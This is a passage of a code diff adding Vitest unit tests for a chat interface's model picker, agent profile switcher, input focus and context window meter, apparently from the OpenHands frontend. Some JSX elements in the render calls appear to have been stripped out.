+ expect(screen.getByTestId("chat-input-llm-model")).toHaveTextContent(
+ "gpt-4o",
+ );
+ });
+
+ it("omits the model label on cloud when the active ACP conversation has no llm_model", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ llm_model: null,
+ },
+ });
+
+ renderWithProviders(
+
+
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the LLM-profile switcher inside a cloud OpenHands conversation", () => {
+ // /switch_profile is a real endpoint on both backends (cloud proxies
+ // POST /api/v1/app-conversations/{id}/switch_profile) — cloud OpenHands
+ // conversations get the same live-switch picker as local (#1571 review).
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" },
+ });
+
+ renderWithProviders(
+
+
+ ,
+ );
+
+ expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides the Change Agent button on a local backend", () => {
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("change-agent-button-stub"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the Change Agent button on a cloud backend", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ renderWithProviders(
+
+
+ ,
+ );
+
+ expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument();
+ });
+
+ it("shows the Change Agent button on the home page on a cloud backend", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ renderWithProviders(
+
+
+ ,
+ { navigation: { conversationId: null } },
+ );
+
+ expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument();
+ });
+});
+
+describe("ChatInputActions — Switch agent profile gate (OSS-5735)", () => {
+ beforeEach(() => {
+ useActiveConversationMock.mockReset();
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ listAgentProfilesMock.mockReset();
+ listAgentProfilesMock.mockResolvedValue({
+ profiles: [{ id: "p1", name: "default", agent_kind: "openhands" }],
+ active_agent_profile_id: "p1",
+ });
+ });
+
+ afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ });
+
+ const openPlusMenu = () => {
+ fireEvent.click(screen.getByTestId("chat-plus-button"));
+ };
+
+ it("offers Switch agent profile in the + menu on the home page when profiles exist", async () => {
+ renderWithProviders( , {
+ navigation: { conversationId: null },
+ });
+
+ openPlusMenu();
+
+ expect(
+ await screen.findByTestId("switch-agent-profile-button"),
+ ).toBeInTheDocument();
+ });
+
+ it("offers Switch agent profile in a blank (unstarted) conversation", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "conv-blank", llm_model: null },
+ });
+
+ renderWithProviders(
+ ,
+ { navigation: { conversationId: "conv-blank" } },
+ );
+
+ openPlusMenu();
+
+ expect(
+ await screen.findByTestId("switch-agent-profile-button"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not offer Switch agent profile once the conversation has started", async () => {
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "conv-started", llm_model: "gpt-4o" },
+ });
+
+ renderWithProviders(
+ ,
+ { navigation: { conversationId: "conv-started" } },
+ );
+
+ openPlusMenu();
+
+ expect(await screen.findByTestId("tools-context-menu")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("switch-agent-profile-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not offer Switch agent profile when the backend has no profiles", async () => {
+ listAgentProfilesMock.mockResolvedValue({
+ profiles: [],
+ active_agent_profile_id: null,
+ });
+
+ renderWithProviders( , {
+ navigation: { conversationId: null },
+ });
+
+ openPlusMenu();
+
+ await waitFor(() => expect(listAgentProfilesMock).toHaveBeenCalled());
+ expect(
+ screen.queryByTestId("switch-agent-profile-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not offer Switch agent profile while a cloud start task is provisioning", async () => {
+ renderWithProviders(
+ ,
+ { navigation: { conversationId: "task-start-1" } },
+ );
+
+ openPlusMenu();
+
+ await waitFor(() => expect(listAgentProfilesMock).toHaveBeenCalled());
+ expect(
+ screen.queryByTestId("switch-agent-profile-button"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-field.test.tsx b/__tests__/components/features/chat/components/chat-input-field.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2d93981591d5f216193aeb3bc2f1c04f06c8b052
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-field.test.tsx
@@ -0,0 +1,41 @@
+import React from "react";
+import { screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ChatInputField } from "#/components/features/chat/components/chat-input-field";
+
+function Harness({ disabled }: { disabled: boolean }) {
+ const ref = React.useRef(null);
+ return (
+
+ );
+}
+
+describe("ChatInputField auto-focus", () => {
+ it("focuses the chat input on mount when enabled", () => {
+ renderWithProviders( );
+
+ expect(screen.getByTestId("chat-input")).toBe(document.activeElement);
+ });
+
+ it("does not focus the chat input on mount when disabled", () => {
+ renderWithProviders( );
+
+ expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement);
+ });
+
+ it("does not steal focus when disabled flips from true to false", () => {
+ const { rerender } = renderWithProviders( );
+ document.body.focus();
+
+ rerender( );
+
+ expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement);
+ });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..689bbd3cc270fcbc11d7f09fd646a165bc24ab13
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx
@@ -0,0 +1,159 @@
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+
+const useChatInputLlmProfileStateMock = vi.fn();
+
+vi.mock("#/hooks/use-chat-input-llm-profile-state", () => ({
+ useChatInputLlmProfileState: () => useChatInputLlmProfileStateMock(),
+}));
+
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import { ChatInputLlmProfilePicker } from "#/components/features/chat/components/chat-input-llm-profile-picker";
+
+const PROFILES = [
+ {
+ name: "Fast",
+ model: "openai/gpt-4o-mini",
+ base_url: null,
+ api_key_set: true,
+ },
+ {
+ name: "Smart",
+ model: "anthropic/claude-opus",
+ base_url: null,
+ api_key_set: true,
+ },
+];
+
+const selectProfile = vi.fn();
+
+function state(overrides = {}) {
+ return {
+ profiles: PROFILES,
+ currentProfileName: "Fast",
+ currentProfileModel: "openai/gpt-4o-mini",
+ isLoading: false,
+ isSwitching: false,
+ canSwitchProfile: true,
+ selectProfile,
+ ...overrides,
+ };
+}
+
+describe("ChatInputLlmProfilePicker", () => {
+ beforeEach(() => {
+ selectProfile.mockReset();
+ useChatInputLlmProfileStateMock.mockReset();
+ useChatInputLlmProfileStateMock.mockReturnValue(state());
+ useFreeModelsStore.setState({
+ freeModels: new Set(),
+ defaultModel: null,
+ defaultModelReady: false,
+ });
+ });
+
+ it("renders nothing while loading or when there are no profiles", () => {
+ useChatInputLlmProfileStateMock.mockReturnValue(
+ state({ profiles: [], isLoading: false }),
+ );
+ const { container } = renderWithProviders( );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("labels the pill with the current profile name", () => {
+ renderWithProviders( );
+ expect(screen.getByTestId("chat-input-llm-profile")).toHaveTextContent(
+ "Fast",
+ );
+ });
+
+ it("live-switches to the picked profile", () => {
+ renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Smart"));
+
+ expect(selectProfile).toHaveBeenCalledWith("Smart");
+ });
+
+ it("does not switch when the current profile is re-selected", () => {
+ renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Fast"));
+
+ expect(selectProfile).not.toHaveBeenCalled();
+ });
+
+ it("names the current profile without selectable options when switching is unavailable", () => {
+ useChatInputLlmProfileStateMock.mockReturnValue(
+ state({ canSwitchProfile: false }),
+ );
+
+ renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+ expect(
+ screen.getByTestId("chat-input-llm-profile-current"),
+ ).toHaveTextContent("Fast");
+ expect(
+ screen.queryByTestId("chat-input-llm-profile-option-Smart"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("labels a backend-flagged free OpenHands route in the profile menu", () => {
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(["openhands/deepseek-v4-flash"]),
+ defaultModel: null,
+ });
+ useChatInputLlmProfileStateMock.mockReturnValue(
+ state({
+ profiles: [
+ {
+ name: "Free",
+ model: "openhands/deepseek-v4-flash",
+ base_url: null,
+ api_key_set: true,
+ },
+ ],
+ currentProfileName: "Free",
+ currentProfileModel: "openhands/deepseek-v4-flash",
+ }),
+ );
+
+ renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+ expect(
+ screen.getByText("OpenHands DeepSeek V4 Flash (free)"),
+ ).toBeInTheDocument();
+ });
+
+ it("labels a backend-flagged free OpenHands route in the read-only profile menu", () => {
+ useFreeModelsStore.getState().setFlags({
+ freeModels: new Set(["openhands/deepseek-v4-flash"]),
+ defaultModel: null,
+ });
+ useChatInputLlmProfileStateMock.mockReturnValue(
+ state({
+ canSwitchProfile: false,
+ currentProfileModel: "openhands/deepseek-v4-flash",
+ }),
+ );
+
+ renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+ expect(
+ screen.getByTestId("chat-input-llm-profile-current"),
+ ).toHaveTextContent("OpenHands DeepSeek V4 Flash (free)");
+ });
+
+ it("links to the LLM profiles settings page", () => {
+ const { container } = renderWithProviders( );
+ fireEvent.click(screen.getByTestId("chat-input-llm-profile"));
+
+ expect(
+ container.ownerDocument.querySelector('a[href="/settings/llm"]'),
+ ).not.toBeNull();
+ });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-model.test.tsx b/__tests__/components/features/chat/components/chat-input-model.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..515316338010337eef62c892e32cc344eb233833
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-model.test.tsx
@@ -0,0 +1,343 @@
+import React from "react";
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+
+const useActiveConversationMock = vi.fn();
+const useSettingsMock = vi.fn();
+const useActiveBackendMock = vi.fn();
+const switchAcpModelMutate = vi.fn();
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => useSettingsMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", async () => {
+ const actual = await vi.importActual<
+ typeof import("#/contexts/active-backend-context")
+ >("#/contexts/active-backend-context");
+ return {
+ ...actual,
+ useActiveBackend: () => useActiveBackendMock(),
+ };
+});
+
+vi.mock("#/hooks/mutation/use-switch-acp-model", () => ({
+ useSwitchAcpModel: () => ({ mutate: switchAcpModelMutate }),
+}));
+
+import { ChatInputModel } from "#/components/features/chat/components/chat-input-model";
+
+describe("ChatInputModel", () => {
+ beforeEach(() => {
+ useActiveConversationMock.mockReset();
+ useSettingsMock.mockReset();
+ useSettingsMock.mockReturnValue({ data: undefined });
+ useActiveBackendMock.mockReset();
+ // Default to a local backend (mirrors useActiveBackend's standalone
+ // fallback): live ACP model switching is local-only.
+ useActiveBackendMock.mockReturnValue({ backend: { kind: "local" } });
+ switchAcpModelMutate.mockReset();
+ });
+
+ it("renders the active conversation's llm_model when present", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ llm_model: "openai/gpt-4o",
+ },
+ });
+
+ renderWithProviders( );
+
+ const model = screen.getByTestId("chat-input-llm-model");
+ expect(model).toBeInTheDocument();
+ expect(model).toHaveTextContent("openai/gpt…");
+ expect(model).toHaveAttribute("title", "openai/gpt-4o");
+ expect(
+ screen.queryByTestId("chat-input-llm-model-popover"),
+ ).not.toBeInTheDocument();
+
+ fireEvent.click(model);
+ const popover = screen.getByTestId("chat-input-llm-model-popover");
+ expect(popover).toHaveTextContent("openai/gpt-4o");
+ const llmSettingsLink = screen.getByRole("link", {
+ name: /LLM Profiles|SETTINGS\$LLM_PROFILES|LLM Settings|SETTINGS\$LLM_SETTINGS/,
+ });
+ expect(llmSettingsLink).toHaveAttribute("href", "/settings/llm");
+ });
+
+ it("renders nothing when llm_model is missing", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "test-conversation-id" },
+ });
+
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders an ACP conversation model and links to Agent settings", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ acp_server: "claude-code",
+ llm_model: "sonnet",
+ },
+ });
+
+ renderWithProviders( );
+
+ const model = screen.getByTestId("chat-input-llm-model");
+ // ACP surfaces show the provider's human label (matching the conversation
+ // list chip), resolved from ``acp_server`` + the raw ``acp_model`` id.
+ expect(model).toHaveAttribute("title", "Claude Sonnet");
+ fireEvent.click(model);
+ expect(screen.getByRole("link")).toHaveAttribute(
+ "href",
+ "/settings/agents",
+ );
+ });
+
+ it("does not fall back to the OpenHands settings model for active ACP conversations", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ llm_model: null,
+ },
+ });
+ useSettingsMock.mockReturnValue({
+ data: { llm_model: "openai/gpt-4o" },
+ });
+
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("falls back to the user's default model from settings when there is no active conversation", () => {
+ // Arrange — home page render: no conversation yet, but the user has
+ // a default model configured. The switcher should still show.
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ useSettingsMock.mockReturnValue({
+ data: { llm_model: "anthropic/claude-sonnet-4-20250514" },
+ });
+
+ renderWithProviders( );
+
+ const model = screen.getByTestId("chat-input-llm-model");
+ expect(model).toHaveTextContent("anthropic/…");
+ expect(model).toHaveAttribute(
+ "title",
+ "anthropic/claude-sonnet-4-20250514",
+ );
+ });
+
+ it("uses the ACP settings model on the home page when ACP is active", () => {
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ useSettingsMock.mockReturnValue({
+ data: {
+ llm_model: "openai/gpt-4o",
+ agent_settings: {
+ agent_kind: "acp",
+ acp_model: "gemini-2.5-pro",
+ },
+ },
+ });
+
+ renderWithProviders( );
+
+ const model = screen.getByTestId("chat-input-llm-model");
+ expect(model).toHaveAttribute("title", "gemini-2.5-pro");
+ fireEvent.click(model);
+ expect(screen.getByRole("link")).toHaveAttribute(
+ "href",
+ "/settings/agents",
+ );
+ });
+
+ it("renders nothing when neither the conversation nor settings provide an llm_model", () => {
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ useSettingsMock.mockReturnValue({ data: undefined });
+
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders nothing for ACP conversations and does NOT fall back to settings.llm_model", () => {
+ // The ACP subprocess owns its model (via ``acp_model``); ``llm_model``
+ // is null on the conversation by design. The previous fallback to
+ // ``settings.llm_model`` would have resurrected the user's *default*
+ // OpenHands model on, say, a Claude-Code conversation — visibly
+ // wrong (the link goes to /settings, which is itself disabled for
+ // ACP) and silently lies about what model is actually running.
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ llm_model: null,
+ },
+ });
+ useSettingsMock.mockReturnValue({
+ data: { llm_model: "anthropic/claude-sonnet-4-20250514" },
+ });
+
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the provider default on the home page when ACP is the default agent and no model is saved", () => {
+ // Home-screen gating: no active conversation and no saved ``acp_model``.
+ // The next-created conversation will inherit the provider's
+ // ``default_model`` (see buildConfiguredAcpAgentSettings), so the picker
+ // shows that same default — matching what the runtime will actually
+ // start. Picker links to /settings/agent (not /settings) since
+ // ``settings.llm_model`` doesn't apply to ACP.
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ useSettingsMock.mockReturnValue({
+ data: {
+ agent_settings: { agent_kind: "acp", acp_server: "claude-code" },
+ // settings.llm_model is set (user has an OpenHands default
+ // configured), but agent_kind=acp suppresses it.
+ llm_model: "anthropic/claude-sonnet-4-20250514",
+ },
+ });
+
+ renderWithProviders( );
+
+ const model = screen.getByTestId("chat-input-llm-model");
+ // Claude Code's registered default (``opus[1m]``), shown as its
+ // human label to match the conversation list chip. See CLAUDE_MODELS in
+ // acp-providers.ts.
+ expect(model).toHaveAttribute("title", "Claude Opus (1M)");
+ fireEvent.click(model);
+ expect(screen.getByRole("link")).toHaveAttribute(
+ "href",
+ "/settings/agents",
+ );
+ });
+
+ it("renders the provider's available models as selectable rows for an ACP conversation", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ acp_server: "claude-code",
+ llm_model: "sonnet",
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+
+ // Every registered Claude Code model is offered as a row, and the running
+ // one (sonnet) is marked selected.
+ const selectedRow = screen.getByTestId(
+ "chat-input-acp-model-option-sonnet",
+ );
+ expect(selectedRow).toBeInTheDocument();
+ expect(selectedRow).toHaveTextContent("Claude Sonnet");
+ expect(
+ screen.getByTestId("chat-input-acp-model-option-opus[1m]"),
+ ).toBeInTheDocument();
+ });
+
+ it("live-switches the model when a row is selected in an active ACP conversation", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ acp_server: "claude-code",
+ llm_model: "sonnet",
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+ fireEvent.click(screen.getByTestId("chat-input-acp-model-option-opus[1m]"));
+
+ // Active conversation → live switch keyed by the conversation id from the
+ // navigation context (test-conversation-id), default-write NOT used.
+ expect(switchAcpModelMutate).toHaveBeenCalledWith({
+ conversationId: "test-conversation-id",
+ model: "opus[1m]",
+ });
+ // Popover closes after a selection.
+ expect(
+ screen.queryByTestId("chat-input-llm-model-popover"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("persists the choice as the default (conversationId null) in the home ACP case", () => {
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ useSettingsMock.mockReturnValue({
+ data: {
+ agent_settings: { agent_kind: "acp", acp_server: "claude-code" },
+ llm_model: "anthropic/claude-sonnet-4-20250514",
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+ fireEvent.click(screen.getByTestId("chat-input-acp-model-option-sonnet"));
+
+ // Home / no session → null conversationId routes the hook to the
+ // settings-default write path.
+ expect(switchAcpModelMutate).toHaveBeenCalledWith({
+ conversationId: null,
+ model: "sonnet",
+ });
+ });
+
+ it("offers selectable rows on a cloud backend for ACP conversations (mid-conversation model switching is supported)", () => {
+ useActiveBackendMock.mockReturnValue({ backend: { kind: "cloud" } });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ acp_server: "claude-code",
+ llm_model: "sonnet",
+ },
+ });
+
+ renderWithProviders( );
+
+ fireEvent.click(screen.getByTestId("chat-input-llm-model"));
+
+ // Cloud ACP conversations support mid-conversation model switching,
+ // so selectable model rows are shown.
+ const selectedRow = screen.getByTestId(
+ "chat-input-acp-model-option-sonnet",
+ );
+ expect(selectedRow).toBeInTheDocument();
+ expect(selectedRow).toHaveTextContent("Claude Sonnet");
+ expect(
+ screen.getByTestId("chat-input-acp-model-option-opus[1m]"),
+ ).toBeInTheDocument();
+ const popover = screen.getByTestId("chat-input-llm-model-popover");
+ expect(popover).toHaveTextContent("Claude Sonnet");
+ expect(screen.getByRole("link")).toHaveAttribute(
+ "href",
+ "/settings/agents",
+ );
+ });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..80fb301b1704c5a5eb6f1cb9a564723812e58d21
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx
@@ -0,0 +1,215 @@
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { setStoredConversationMetadata } from "#/api/conversation-metadata-store";
+
+const useAgentProfilesMock = vi.fn();
+const useActiveConversationMock = vi.fn();
+const activateProfileMutate = vi.fn();
+const createConversationMutate = vi.fn();
+
+vi.mock("#/hooks/query/use-agent-profiles", () => ({
+ useAgentProfiles: () => useAgentProfilesMock(),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+ useCreateConversation: () => ({ mutateAsync: createConversationMutate }),
+ CREATE_CONVERSATION_MUTATION_KEY: ["create-conversation"],
+}));
+
+vi.mock("#/hooks/mutation/use-activate-agent-profile", () => ({
+ useActivateAgentProfile: () => ({
+ mutate: activateProfileMutate,
+ isPending: false,
+ }),
+ ACTIVATE_AGENT_PROFILE_MUTATION_KEY: ["activate-agent-profile"],
+}));
+
+import { ChatInputProfileMenuContent } from "#/components/features/chat/components/chat-input-profile-picker";
+
+const PROFILES = [
+ { id: "id-default", name: "Default", agent_kind: "openhands" },
+ { id: "id-codex", name: "Codex", agent_kind: "acp" },
+];
+
+describe("ChatInputProfileMenuContent", () => {
+ const onClose = vi.fn();
+
+ beforeEach(() => {
+ useAgentProfilesMock.mockReset();
+ useActiveConversationMock.mockReset();
+ activateProfileMutate.mockReset();
+ createConversationMutate.mockReset();
+ // selectProfile chains .then off mutateAsync — keep a resolved default.
+ createConversationMutate.mockResolvedValue({ conversation_id: "conv-x" });
+ onClose.mockReset();
+ localStorage.clear();
+
+ useAgentProfilesMock.mockReturnValue({
+ data: { profiles: PROFILES, active_agent_profile_id: "id-default" },
+ isLoading: false,
+ });
+ useActiveConversationMock.mockReturnValue({
+ data: undefined,
+ isLoading: false,
+ });
+ });
+
+ // The menu content renders children (it lives inside the tools menu's
+ // submenu in the app), so tests wrap it in a bare .
+ const renderMenu = (navigation: object = { conversationId: null }) =>
+ renderWithProviders(
+ ,
+ { navigation },
+ );
+
+ it("activates the picked profile on the home page", () => {
+ renderMenu();
+ fireEvent.click(
+ screen.getByTestId("chat-input-agent-profile-option-Codex"),
+ );
+
+ expect(activateProfileMutate).toHaveBeenCalledWith("id-codex");
+ expect(onClose).toHaveBeenCalled();
+ });
+
+ it("does not activate when the active profile is re-selected", () => {
+ renderMenu();
+ fireEvent.click(
+ screen.getByTestId("chat-input-agent-profile-option-Default"),
+ );
+
+ expect(activateProfileMutate).not.toHaveBeenCalled();
+ expect(onClose).toHaveBeenCalled();
+ });
+
+ it("links to the AgentProfile library in settings", () => {
+ const { container } = renderMenu();
+
+ expect(
+ container.ownerDocument.querySelector('a[href="/settings/agents"]'),
+ ).not.toBeNull();
+ });
+
+ it("treats the launched profile as current inside a blank conversation", () => {
+ // The active pointer is Codex, but this blank conversation was launched
+ // from Default — re-selecting Default must be a no-op (no replacement
+ // conversation, no activate).
+ useAgentProfilesMock.mockReturnValue({
+ data: { profiles: PROFILES, active_agent_profile_id: "id-codex" },
+ isLoading: false,
+ });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-1",
+ launched_agent_profile: {
+ agent_profile_id: "id-default",
+ revision: 2,
+ },
+ },
+ isLoading: false,
+ });
+
+ renderMenu({ conversationId: "conv-1" });
+ fireEvent.click(
+ screen.getByTestId("chat-input-agent-profile-option-Default"),
+ );
+
+ expect(createConversationMutate).not.toHaveBeenCalled();
+ expect(activateProfileMutate).not.toHaveBeenCalled();
+ });
+
+ it("starts a replacement conversation with the selected profile and workspace", async () => {
+ const navigate = vi.fn();
+ createConversationMutate.mockResolvedValue({ conversation_id: "conv-2" });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-workspace",
+ selected_repository: null,
+ selected_workspace: "/workspace/alpha",
+ launched_agent_profile: {
+ agent_profile_id: "id-default",
+ revision: 1,
+ },
+ },
+ isLoading: false,
+ });
+
+ renderMenu({ conversationId: "conv-workspace", navigate });
+
+ expect(screen.getByText("CHAT$START_NEW_WITH_PROFILE_HINT")).toBeVisible();
+ fireEvent.click(
+ screen.getByTestId("chat-input-agent-profile-option-Codex"),
+ );
+
+ expect(createConversationMutate).toHaveBeenCalledWith({
+ agentProfileId: "id-codex",
+ entryPoint: "blank_conversation_profile_picker",
+ workingDir: "/workspace/alpha",
+ workspaceMode: "local_repo",
+ });
+ expect(activateProfileMutate).not.toHaveBeenCalled();
+
+ // Navigation rides the mutateAsync promise (survives the menu unmounting).
+ await waitFor(() =>
+ expect(navigate).toHaveBeenCalledWith("/conversations/conv-2"),
+ );
+ });
+
+ it("preserves repository and plugin context when changing a blank conversation profile", () => {
+ setStoredConversationMetadata("conv-repo", {
+ selected_repository: "OpenHands/agent-canvas",
+ selected_branch: "feature",
+ git_provider: "github",
+ plugins: [
+ {
+ source: "github:OpenHands/extensions",
+ ref: "v1",
+ repo_path: "plugins/weather",
+ },
+ ],
+ });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ id: "conv-repo",
+ selected_repository: "OpenHands/agent-canvas",
+ selected_branch: "feature",
+ git_provider: "github",
+ launched_agent_profile: {
+ agent_profile_id: "id-default",
+ revision: 1,
+ },
+ },
+ isLoading: false,
+ });
+
+ renderMenu({ conversationId: "conv-repo" });
+ fireEvent.click(
+ screen.getByTestId("chat-input-agent-profile-option-Codex"),
+ );
+
+ expect(createConversationMutate).toHaveBeenCalledWith(
+ expect.objectContaining({
+ agentProfileId: "id-codex",
+ repository: {
+ name: "OpenHands/agent-canvas",
+ gitProvider: "github",
+ branch: "feature",
+ },
+ plugins: [
+ {
+ source: "github:OpenHands/extensions",
+ ref: "v1",
+ repo_path: "plugins/weather",
+ },
+ ],
+ }),
+ );
+ });
+});
diff --git a/__tests__/components/features/chat/components/context-window-meter.test.tsx b/__tests__/components/features/chat/components/context-window-meter.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b6542d2bc2c249218192af6ff8dc6a113cb035b4
--- /dev/null
+++ b/__tests__/components/features/chat/components/context-window-meter.test.tsx
@@ -0,0 +1,201 @@
+import type { ReactNode } from "react";
+import { fireEvent, screen } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import useMetricsStore from "#/stores/metrics-store";
+
+const navigateToTabMock = vi.fn();
+
+vi.mock("#/hooks/use-select-conversation-tab", () => ({
+ useSelectConversationTab: () => ({
+ navigateToTab: navigateToTabMock,
+ selectTab: vi.fn(),
+ isTabActive: vi.fn(),
+ onTabChange: vi.fn(),
+ selectedTab: null,
+ isRightPanelShown: false,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/query/use-conversation-metrics", () => ({
+ useConversationMetrics: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/use-compact-context-action", () => ({
+ useCompactContextAction: () => ({
+ handleCompact: vi.fn(),
+ isCompacting: false,
+ isDisabled: false,
+ description: "CONVERSATION$COMPACT_CONTEXT_DESCRIPTION",
+ }),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: () => ({ curAgentState: "awaiting_user_input" }),
+}));
+
+// HeroUI Tooltip only mounts content on real-DOM hover; surface it eagerly.
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+ StyledTooltip: ({
+ content,
+ children,
+ }: {
+ content: ReactNode;
+ children: ReactNode;
+ }) => (
+ <>
+ {children}
+ {content}
+ >
+ ),
+}));
+
+// eslint-disable-next-line import/first
+import { ContextWindowMeter } from "#/components/features/chat/components/context-window-meter";
+
+describe("ContextWindowMeter", () => {
+ afterEach(() => {
+ navigateToTabMock.mockClear();
+ useMetricsStore.setState({
+ cost: null,
+ max_budget_per_task: null,
+ usage: null,
+ });
+ });
+
+ it("does not render when context window metrics are unavailable", () => {
+ renderWithProviders( );
+
+ expect(
+ screen.queryByTestId("context-window-meter"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows a Show Context tooltip on the ring", () => {
+ useMetricsStore.setState({
+ cost: null,
+ max_budget_per_task: null,
+ usage: {
+ prompt_tokens: 0,
+ completion_tokens: 0,
+ cache_read_tokens: 0,
+ cache_write_tokens: 0,
